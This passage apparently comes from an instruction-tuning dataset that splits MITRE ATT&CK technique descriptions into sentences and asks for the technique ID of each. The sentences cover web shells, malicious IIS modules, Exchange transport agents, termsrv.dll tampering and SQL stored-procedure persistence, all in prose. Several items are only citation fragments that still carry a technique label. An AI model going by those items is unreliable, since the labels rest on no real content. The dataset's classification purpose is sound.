2019) ### Response: T1519."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)", "output": "T1519", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) ### Response: T1519."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.", "output": "T1519", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service. ### Response: T1519."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing via service is a specific variant of spearphishing.", "output": "T1194", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing via service is a specific variant of spearphishing. ### Response: T1194."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.", "output": "T1194", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. ### Response: T1194."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry.", "output": "T1194", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. ### Response: T1194."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.", "output": "T1194", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. ### Response: T1194."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These services are more likely to have a less-strict security policy than an enterprise.", "output": "T1194", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These services are more likely to have a less-strict security policy than an enterprise. ### Response: T1194."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way.", "output": "T1194", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. ### Response: T1194."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries will create fake social media accounts and message employees for potential job opportunities.", "output": "T1194", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries will create fake social media accounts and message employees for potential job opportunities. ### Response: T1194."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment.", "output": "T1194", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. ### Response: T1194."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary can then send malicious links or attachments through these services.", "output": "T1194", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary can then send malicious links or attachments through these services. ### Response: T1194."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer.", "output": "T1194", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. ### Response: T1194."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting.", "output": "T1194", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. ### Response: T1194."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.", "output": "T1194", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working. ### Response: T1194."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access.", "output": "T1200", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. ### Response: T1200."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.", "output": "T1200", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused. ### Response: T1200."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access.", "output": "T1200", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. ### Response: T1200."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation:", "output": "T1200", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: ### Response: T1200."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Aleks Weapons Nov 2015)(Citation:", "output": "T1200", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Aleks Weapons Nov 2015)(Citation: ### Response: T1200."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Frisk DMA August 2016)(Citation:", "output": "T1200", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Frisk DMA August 2016)(Citation: ### Response: T1200."}{"instruction": "List the MITRE techniques contained in the text.", "input": "McMillan Pwn March 2012)", "output": "T1200", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: McMillan Pwn March 2012) ### Response: T1200."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Microsoft transport agents to establish persistent access to systems.", "output": "T1505.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Microsoft transport agents to establish persistent access to systems. ### Response: T1505.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation:", "output": "T1505.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ### Response: T1505.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ESET LightNeuron May 2019)", "output": "T1505.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ESET LightNeuron May 2019) ### Response: T1505.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server.", "output": "T1505.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. ### Response: T1505.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks.", "output": "T1505.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. ### Response: T1505.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019)", "output": "T1505.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) ### Response: T1505.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria.", "output": "T1505.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. ### Response: T1505.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary.", "output": "T1505.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ### Response: T1505.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence.", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IIS provides several mechanisms to extend the functionality of the web servers.", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IIS provides several mechanisms to extend the functionality of the web servers. ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests.", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Extensions and filters are deployed as DLL files that export three functions: <code>Get{Extension/Filter}Version</code>, <code>Http{Extension/Filter}Proc</code>, and (optionally) <code>Terminate{Extension/Filter}</code>.", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Extensions and filters are deployed as DLL files that export three functions: <code>Get{Extension/Filter}Version</code>, <code>Http{Extension/Filter}Proc</code>, and (optionally) <code>Terminate{Extension/Filter}</code>. ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation:", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation:", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Trustwave IIS Module 2013)", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Trustwave IIS Module 2013) ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic.", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ISAPI extensions and filters may have access to all IIS web requests and responses.", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ISAPI extensions and filters may have access to all IIS web requests and responses. ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation:", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft ISAPI Extension Overview 2017)(Citation:", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft ISAPI Extension Overview 2017)(Citation: ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft ISAPI Extension All Incoming 2017)(Citation:", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft ISAPI Extension All Incoming 2017)(Citation: ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation:", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MMPC ISAPI Filter 2012)", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MMPC ISAPI Filter 2012) ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also install malicious IIS modules to observe and/or modify traffic.", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also install malicious IIS modules to observe and/or modify traffic. ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters.", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IIS modules can be written as a DLL that exports <code>RegisterModule</code>, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation:", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IIS modules can be written as a DLL that exports <code>RegisterModule</code>, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ESET IIS Malware 2021)", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ESET IIS Malware 2021) ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may backdoor web servers with web shells to establish persistent access to systems.", "output": "T1505.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may backdoor web servers with web shells to establish persistent access to systems. ### Response: T1505.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network.", "output": "T1505.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. ### Response: T1505.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW)", "output": "T1505.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW) ### Response: T1505.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013)", "output": "T1505.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013) ### Response: T1505.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse components of Terminal Services to enable persistent access to systems.", "output": "T1505.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse components of Terminal Services to enable persistent access to systems. ### Response: T1505.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts.", "output": "T1505.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. ### Response: T1505.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)", "output": "T1505.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services) ### Response: T1505.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a \"generic\" process (ex: <code>svchost.exe</code>) load the service's DLL file, the location of which is stored in a Registry entry named <code>ServiceDll</code>.(Citation: Microsoft System Services Fundamentals)", "output": "T1505.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a \"generic\" process (ex: <code>svchost.exe</code>) load the service's DLL file, the location of which is stored in a Registry entry named <code>ServiceDll</code>.(Citation: Microsoft System Services Fundamentals) ### Response: T1505.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>termsrv.dll</code> file, typically stored in `%SystemRoot%\\System32\\`, is the default <code>", "output": "T1505.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>termsrv.dll</code> file, typically stored in `%SystemRoot%\\System32\\`, is the default <code> ### Response: T1505.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ServiceDll</code> value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.", "output": "T1505.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ServiceDll</code> value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`. ### Response: T1505.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal <code>termsrv.dll</code> functionality) as well as to simply enable abusable features of Terminal Services.", "output": "T1505.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal <code>termsrv.dll</code> functionality) as well as to simply enable abusable features of Terminal Services. ### Response: T1505.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the <code>termsrv.dll</code> file or modifying the <code>ServiceDll</code> value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github)", "output": "T1505.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the <code>termsrv.dll</code> file or modifying the <code>ServiceDll</code> value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) ### Response: T1505.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.", "output": "T1505.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created. ### Response: T1505.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse SQL stored procedures to establish persistent access to systems.", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse SQL stored procedures to establish persistent access to systems. ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries.", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted). ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation:", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky MSSQL Aug 2019)", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky MSSQL Aug 2019) ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation:", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "NetSPI Startup Stored Procedures)(Citation:", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: NetSPI Startup Stored Procedures)(Citation: ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky MSSQL Aug 2019)(Citation:", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky MSSQL Aug 2019)(Citation: ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft xp_cmdshell 2017)", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft xp_cmdshell 2017) ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft SQL Server can enable common language runtime (CLR) integration.", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft SQL Server can enable common language runtime (CLR) integration. ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017)", 